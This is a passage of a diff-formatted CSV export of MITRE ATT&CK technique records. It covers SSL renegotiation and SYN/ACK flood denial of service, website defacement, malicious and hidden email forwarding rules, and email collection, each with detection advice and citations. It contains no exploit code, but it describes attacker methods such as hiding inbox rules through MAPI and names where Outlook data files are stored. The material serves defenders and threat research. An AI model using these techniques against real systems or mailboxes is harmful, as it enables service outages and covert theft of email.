Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/002', 'external_id': 'T1499.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/488.html', 'external_id': 'CAPEC-488'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/489.html', 'external_id': 'CAPEC-489'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/528.html', 'external_id': 'CAPEC-528'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare HTTPflood', 'description': 'Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/'}, {'source_name': 'Arbor SSLDoS April 2012', 'description': 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.', 'url': 'https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. -Externally monitor the availability of services that may be targeted by an Endpoint DoS.",,,,['Availability'],True,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.2 -2020-02-20 15:27:18.581000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. +Externally monitor the availability of services that may be targeted by an Endpoint DoS.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:27:18.581Z,2020-09-16T15:54:35.429Z,OS Exhaustion Flood,"Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) -ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1499/001', external_id='T1499.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/469.html', external_id='CAPEC-469'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/482.html', external_id='CAPEC-482'), ExternalReference(source_name='Arbor AnnualDoSreport Jan 2018', description=""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", url='https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'), ExternalReference(source_name='Cloudflare SynFlood', description='Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.', url='https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/'), ExternalReference(source_name='Corero SYN-ACKflood', description='Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.', url='https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-09-16 15:54:35.429000+00:00,OS Exhaustion Flood,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",,,,['Availability'],True,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-02-20 14:34:08.496000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1491/002', external_id='T1491.002'), ExternalReference(source_name='FireEye Cyber Threats to Media Industries', description='FireEye. (n.d.). Retrieved April 19, 2019.', url='https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf'), ExternalReference(source_name='Kevin Mandia Statement to US Senate Committee on Intelligence', description='Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.', url='https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf'), ExternalReference(source_name='Anonymous Hackers Deface Russian Govt Site', description='Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.', url='https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/'), ExternalReference(source_name='Trend Micro Deep Dive Into Defacement', description='Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.', url='https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf')]",attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-08 10:33:01.745000+00:00,External Defacement,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",,,,['Integrity'],True,,,,"['Windows', 'IaaS', 'Linux', 'macOS']",,,,1.1 -2020-02-20 14:31:34.778000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1491/001', external_id='T1491.001'), ExternalReference(source_name='Novetta Blockbuster', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', url='https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'), ExternalReference(source_name='Novetta Blockbuster Destructive Malware', description='Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', url='https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf')]",attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-29 22:57:04.784000+00:00,Internal Defacement,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,,,,"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",,,,['Integrity'],True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-19 18:54:47.103000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) +ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/001', 'external_id': 'T1499.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/469.html', 'external_id': 'CAPEC-469'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/482.html', 'external_id': 'CAPEC-482'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare SynFlood', 'description': 'Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/'}, {'source_name': 'Corero SYN-ACKflood', 'description': 'Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.', 'url': 'https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",True,,"['Linux', 'macOS', 'Windows']",1.1,,,,,['Availability'],, +attack-pattern,attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T14:34:08.496Z,2021-03-08T10:33:01.745Z,External Defacement,"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491/002', 'external_id': 'T1491.002'}, {'source_name': 'FireEye Cyber Threats to Media Industries', 'description': 'FireEye. (n.d.). Retrieved April 19, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf'}, {'source_name': 'Kevin Mandia Statement to US Senate Committee on Intelligence', 'description': 'Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.', 'url': 'https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf'}, {'source_name': 'Anonymous Hackers Deface Russian Govt Site', 'description': 'Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.', 'url': 'https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/'}, {'source_name': 'Trend Micro Deep Dive Into Defacement', 'description': 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",True,,"['Windows', 'IaaS', 'Linux', 'macOS']",1.1,,,,,['Integrity'],, +attack-pattern,attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T14:31:34.778Z,2020-03-29T22:57:04.784Z,Internal Defacement,"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1491/001', 'external_id': 'T1491.001'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'Novetta Blockbuster Destructive Malware', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.', 'url': 'https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,['Integrity'],, +attack-pattern,attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:54:47.103Z,2021-10-15T20:19:33.416Z,Email Forwarding Rule,"Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) -Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1114/003', external_id='T1114.003'), ExternalReference(source_name='US-CERT TA18-068A 2018', description='US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-086A'), ExternalReference(source_name='Microsoft Tim McMichael Exchange Mail Forwarding 2', description='McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', url='https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/')]",attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-03-25 13:08:30.699000+00:00,Email Forwarding Rule,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",['Application Log: Application Log Content'],,,,,"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. +Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/003', 'external_id': 'T1114.003'}, {'source_name': 'US-CERT TA18-068A 2018', 'description': 'US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-086A'}, {'source_name': 'Pfammatter - Hidden Inbox Rules', 'description': 'Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.', 'url': 'https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/'}, {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'}, {'source_name': 'Mac Forwarding Rules', 'description': 'Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.', 'url': 'https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Security', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']",['Application Log: Application Log Content'],,"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) -Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",,,,,True,,,['User'],"['Office 365', 'Windows', 'Google Workspace']",,,,1.1 -2020-02-19 18:52:24.547000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1114/002', external_id='T1114.002')]",attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-03-25 13:12:56.909000+00:00,Remote Email Collection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,,,,"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",,,,,True,,,,"['Office 365', 'Windows', 'Google Workspace']",,,,1.1 -2020-02-19 18:46:06.098000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. +Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",True,['User'],"['Office 365', 'Windows', 'Google Workspace', 'macOS', 'Linux']",1.2,,,,,,, +attack-pattern,attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:52:24.547Z,2021-03-25T13:12:56.909Z,Remote Email Collection,"Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/002', 'external_id': 'T1114.002'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,"Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).",True,,"['Office 365', 'Windows', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-19T18:46:06.098Z,2020-03-24T17:59:20.983Z,Local Email Collection,"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. -Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)","[ExternalReference(source_name='mitre-attack', 